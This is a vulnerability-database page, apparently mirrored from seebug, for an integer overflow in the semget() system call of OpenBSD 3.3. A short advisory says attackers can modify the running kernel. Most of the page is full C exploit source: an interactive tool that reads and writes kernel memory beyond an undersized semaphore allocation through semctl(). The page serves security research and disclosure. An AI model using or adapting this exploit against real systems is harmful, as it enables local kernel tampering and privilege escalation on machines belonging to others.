Lucene search
K

OpenBSD 3.3 Semget() Integer Overflow Vulnerability (2)

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 16 Views

OpenBSD 3.3 semget() Integer Overflow Vulnerabilit

Code

                                                source: http://www.securityfocus.com/bid/8464/info
 
A vulnerability has been discovered in the OpenBSD semget() system call. The problem occurs due to insufficient sanity checks before allocating memory using the user-supplied nsems value as an argument. As a result, an attacker may be capable of modifying the running kernel.
 
This vulnerability was introduced in OpenBSD 3.3 and as such, no other versions are affected.

#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/sem.h>
#include <sys/param.h>
#include <sys/sysctl.h>

int semid, idx, val;

int read_sem(struct sem *);
void do_read(char *);
void do_write(char *);
void dump_hex(void *, unsigned int);
void dump_sem(struct sem *);

int main(int argc, char *argv[]){
	int quit;
	char buf[80], prev;

	if(argc < 2){
		printf("%s <semid>\n", argv[0]);
		return 1;
	}

	semid = atoi(argv[1]);
	quit = 0;

	while(!quit){
		printf("\n> ");
		fgets(buf, sizeof(buf), stdin);

		switch(buf[0]){
		case 'r':
		case 'R':
			prev = 'r';
			do_read(buf);
			break;

		case 'w':
		case 'W':
			prev = 'w';
			do_write(buf);
			break;

		case 'q':
		case 'Q':
			quit = 1;
			break;

		case 'h':
		case 'H':
			printf("Enter one of the following commands:\n");
			printf("\tr - read a semaphore\n");
			printf("\t\tsyntax r index[.level]\n");
			printf("\t\te.g. r 1\n");
			printf("\t\te.g. r 1.val\n");
			printf("\tw - write a value\n");
			printf("\t\tsyntax w index value\n");
			printf("\t\te.g. w 1 7\n");
			printf("\tq - quit\n");
			break;

		case '\r':
		case '\n':
			if(prev == 'r'){
				sprintf(buf, "r %d\n", ++idx);
				do_read(buf);
			}
			else if(prev == 'w'){
				sprintf(buf, "w %d %d\n", ++idx, val);
				do_write(buf);
			}
			break;
			
		default:
			break;
		}
	}

	return 0;
}

/* Read the contents of a sem structure.
 *
 * idx = index into the array
 * s = buffer to read sem structure into
 */

int read_sem(struct sem *s){
        /*
         * At this point we have forced the kernel to allocate a too-small
         * buffer.  We can read and write members of struct sem's beyond this
         * this buffer using semctl().  A struct sem looks like this:
         *
         * struct sem {
         *      unsigned short  semval;
         *      pid_t           sempid;
         *      unsigned short  semncnt;
         *      unsigned short  semzcnt;
         * };
         */

	memset(s, 0, sizeof(struct sem));

	s->semval = semctl(semid, idx, GETVAL, NULL);
	if(errno != 0)
		goto err;

	s->sempid = semctl(semid, idx, GETPID, NULL);
	if(errno != 0)
		goto err;

	s->semncnt = semctl(semid, idx, GETNCNT, NULL);
	if(errno != 0)
		goto err;

	s->semzcnt = semctl(semid, idx, GETZCNT, NULL);
	if(errno != 0)
		goto err;

	return 0;

err:
	perror("read_sem: semctl");
	return -1;
}

void dump_hex(void *buf, unsigned int size){
	int i, *p;

	p = buf;

	printf("\n");

	for(i = 0; (i * sizeof(int)) < size; i++)
		printf("0x%.08x ", p[i]);
}

void dump_sem(struct sem *s){
	printf("val = %d (%.04x)\n", s->semval, s->semval);
	printf("pid = %d (%.08x)\n", s->sempid, s->sempid);
	printf("ncnt = %d (%.04x)\n", s->semncnt, s->semncnt);
	printf("zcnt = %d (%.04x)\n", s->semzcnt, s->semzcnt);
}

void do_write(char *buf){
	char *p;

	/* write something */
	if((p = strchr(buf, ' ')) == NULL){
		printf("w must take parameters\n");
		return;
	}

	p++;
	idx = atoi(p);

	if((p = strchr(p, ' ')) == NULL){
		printf("w needs a value to write\n");
		return;
	}

	p++;

	if(!strncmp(p, "0x", 2))
		sscanf(p, "0x%x", &val);
	else
		val = atoi(p);
	semctl(semid, idx, SETVAL, val);
}

void do_read(char *buf){
	int ret;
	char *p;
	struct sem sem;

	/* read something */
	if((p = strchr(buf, ' ')) == NULL){
		printf("r must take an index argument\n");
		return;
	}

	p++;
	idx = atoi(p);

	ret = read_sem(&sem);
	if(ret < 0)
		return;

	printf("Index %d:\n", idx);

	if((p = strchr(p, '.')) == NULL){
		dump_sem(&sem);
		dump_hex(&sem, sizeof(sem));
	}
	else{
		p++;
		if(strstr(p, "val"))
			printf("val = %d (%.04x)\n",
				sem.semval, sem.semval);
		if(strstr(p, "pid"))
			printf("pid = %d (%.08x)\n",
				sem.sempid, sem.sempid);
		if(strstr(p, "ncnt"))
			printf("ncnt = %d (%.04x)\n",
				sem.semncnt, sem.semncnt);
		if(strstr(p, "zcnt"))
			printf("zcnt = %d (%.04x)\n",
				sem.semzcnt, sem.semzcnt);
	}
}


                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation